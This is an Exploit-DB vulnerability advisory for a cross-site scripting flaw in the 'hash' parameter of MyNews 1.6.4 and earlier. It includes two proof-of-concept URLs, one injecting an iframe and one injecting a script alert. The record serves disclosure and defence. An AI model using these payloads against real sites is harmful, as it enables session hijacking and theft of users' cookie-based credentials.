MyNews 1.6.x - 'hash' Cross-Site Scripting

EDB-ID:

31115


Author:

SkyOut

Type:

webapps


Platform:

PHP

Date:

2008-02-06


source: https://www.securityfocus.com/bid/27652/info

MyNews is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

MyNews 1.6.4 and prior versions are vulnerable.

http://www.example.com/index.php?hash="><iframe src=http://www.example2.com/ height=500px width=500px></iframe><!--&do=admin http://www.example.com/index.php?hash="><script>alert(1337);</script><!--&do=admin